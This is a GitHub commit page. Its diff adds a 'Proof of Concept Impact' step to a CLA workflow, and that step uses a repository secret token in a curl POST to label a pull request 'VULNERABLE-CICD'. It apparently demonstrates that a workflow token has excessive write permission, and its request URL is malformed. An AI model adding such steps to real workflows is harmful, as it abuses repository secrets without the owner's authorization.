Skip to content

Commit ebfd06f

Browse files
author
killsh
committed
poc: demonstrate unauthorized label creation via actions write
1 parent 86a0d79 commit ebfd06f

1 file changed

Lines changed: 10 additions & 0 deletions

File tree

.github/workflows/cla.yaml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,3 +33,13 @@ jobs:
3333
with:
3434
github-token: ${{ secrets.token }}
3535
cla-token: ${{ secrets.cla-token }}
36+
- name: Proof of Concept Impact
37+
env:
38+
GITHUB_TOKEN: ${{ secrets.token }}
39+
run: |
40+
curl -X POST \
41+
-H "Authorization: Bearer $GITHUB_TOKEN" \
42+
-H "Accept: application/vnd.github+json" \
43+
https://github.com{{ github.event.pull_request.number }}/labels \
44+
-d '{"labels":["VULNERABLE-CICD"]}'
45+

0 commit comments

Comments
 (0)